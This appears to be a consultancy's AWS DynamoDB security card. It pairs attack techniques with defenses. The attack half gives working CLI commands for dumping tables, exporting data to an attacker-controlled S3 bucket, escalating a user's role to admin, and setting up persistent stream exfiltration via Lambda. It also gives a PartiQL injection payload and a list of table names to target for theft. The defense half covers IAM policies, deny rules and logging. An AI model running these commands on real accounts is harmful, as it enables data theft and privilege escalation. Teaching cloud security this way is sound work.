DynamoDB is a NoSQL database storing application data, session tokens, and configuration. Attackers exploit table policies, scan operations, and PartiQL queries to extract sensitive data.
DynamoDB is a key-value and document NoSQL database. Tables store items indexed by partition keys and optional sort keys. Global Secondary Indexes (GSIs) provide alternate query paths that may expose data through different access patterns.
Attack note: GSIs replicate table data with different key schemas - querying a GSI may bypass item-level access controls
PartiQL provides SQL-compatible query access to DynamoDB. DynamoDB Streams capture item-level changes in near-real-time, feeding Lambda triggers and replication pipelines. Both are powerful attack surfaces for data exfiltration.
Attack note: PartiQL SELECT * FROM table bypasses the need for Scan API calls and may evade scan-specific IAM denies
DynamoDB tables frequently contain sensitive application data. Attackers with read access can extract PII, session tokens, and credentials. Write access enables privilege escalation via modified user records.
aws dynamodb list-tablesaws dynamodb describe-table --table-name usersaws dynamodb list-global-tablesaws dynamodb list-backupsaws dynamodbstreams list-streamsKey insight: If IAM restricts access by leading key on the base table, the same data may be queryable through a GSI with different key schema.
aws dynamodb scan --table-name users --output json > exfil.jsonaws dynamodb execute-statement \
--statement "SELECT * FROM users WHERE role='admin'"aws dynamodb query --table-name users \
--index-name email-index \
--key-condition-expression 'email = :e' \
--expression-attribute-values '{":e":{"S":"admin@corp.com"}}'aws dynamodb update-item --table-name users \
--key '{"user_id":{"S":"victim"}}' \
--update-expression 'SET #r = :admin' \
--expression-attribute-names '{"#r":"role"}' \
--expression-attribute-values '{":admin":{"S":"admin"}}'aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:us-east-1:123456789012:table/users \
--s3-bucket attacker-exfil-bucketSHARD=$(aws dynamodbstreams describe-stream \
--stream-arn <stream-arn> \
--query 'StreamDescription.Shards[0].ShardId' --output text)
ITER=$(aws dynamodbstreams get-shard-iterator \
--stream-arn <stream-arn> --shard-id $SHARD \
--shard-iterator-type TRIM_HORIZON --query 'ShardIterator' --output text)
aws dynamodbstreams get-records --shard-iterator $ITERDynamoDB table names often reveal their purpose. After listing tables, prioritize these patterns for data theft:
users, accounts, sessions, tokens, auth, credentials, api-keys
orders, payments, transactions, invoices, billing, subscriptions
config, settings, features, flags, secrets, connections
profiles, contacts, addresses, medical, ssn, identity
audit-log, events, activity, access-log, trail
terraform-locks, state, deployments, inventory
PartiQL provides SQL-like syntax for DynamoDB. Applications that build PartiQL statements from user input are vulnerable to injection. Streams provide real-time change data capture for persistent exfiltration.
# Application builds query from user input:
# SELECT * FROM orders WHERE customer_id='<INPUT>'
# Attacker input:
# ' OR 1=1 --
# Resulting query:
SELECT * FROM orders WHERE customer_id='' OR 1=1 --'
# Batch execution for multi-table exfil:
aws dynamodb batch-execute-statement --statements '[
{"Statement":"SELECT * FROM users"},
{"Statement":"SELECT * FROM api_keys"},
{"Statement":"SELECT * FROM sessions"}
]'# Enable streams on target table
aws dynamodb update-table --table-name users \
--stream-specification \
StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
# Create Lambda that exfiltrates changes
aws lambda create-event-source-mapping \
--function-name exfil-function \
--event-source-arn <stream-arn> \
--starting-position TRIM_HORIZON \
--batch-size 100
# Every insert/update/delete is now captured{
"Effect": "Allow",
"Action": "dynamodb:*",
"Resource": "*"
}Full DynamoDB access enables complete data exfiltration, table deletion, and stream hijacking
{
"Effect": "Allow",
"Action": ["dynamodb:GetItem", "dynamodb:Query"],
"Resource": "arn:aws:dynamodb:*:*:table/app-data",
"Condition": {
"ForAllValues:StringEquals": {
"dynamodb:LeadingKeys": ["${aws:userId}"]
}
}
}Limited to specific table with partition key scoped to the caller's identity
{
"Effect": "Allow",
"Action": [
"dynamodb:PartiQLSelect",
"dynamodb:PartiQLUpdate",
"dynamodb:PartiQLInsert"
],
"Resource": "*"
}PartiQL access to all tables - SELECT * FROM any_table bypasses scan restrictions
{
"Effect": "Deny",
"Action": [
"dynamodb:Scan",
"dynamodb:ExportTableToPointInTime",
"dynamodb:PartiQLSelect"
],
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalTag/team": "data-engineering"
}
}
}Explicit deny on bulk read operations except for authorized data team
Log all DynamoDB data plane operations (Scan, Query, GetItem) to detect unauthorized access.
aws cloudtrail put-event-selectors \
--trail-name main-trail \
--advanced-event-selectors '[{"FieldSelectors":[
{"Field":"eventCategory","Equals":["Data"]},
{"Field":"resources.type","Equals":["AWS::DynamoDB::Table"]}
]}]'Use customer-managed KMS keys to control who can decrypt table data at rest.
aws dynamodb create-table --table-name secure-data \
--sse-specification Enabled=true,SSEType=KMS,KMSMasterKeyId=alias/dynamo-keyKeep DynamoDB traffic private via gateway endpoint - prevents data exfil over public internet.
aws ec2 create-vpc-endpoint \
--vpc-id vpc-xxx --service-name com.amazonaws.us-east-1.dynamodb \
--route-table-ids rtb-xxxUse IAM condition keys to restrict access to specific partition keys per user.
"Condition": {"ForAllValues:StringEquals": {
"dynamodb:LeadingKeys": ["${aws:userId}"]
}}Explicitly deny Scan and PartiQL SELECT to prevent bulk data exfiltration.
"Effect": "Deny",
"Action": ["dynamodb:Scan", "dynamodb:PartiQLSelect"],
"Resource": "arn:aws:dynamodb:*:*:table/sensitive-*"Point-in-time recovery protects against data loss. Deletion protection prevents table drops.
aws dynamodb update-table --table-name users \
--deletion-protection-enabled
aws dynamodb update-continuous-backups --table-name users \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=trueAWS DynamoDB Security Card • Toc Consulting
Always obtain proper authorization before testing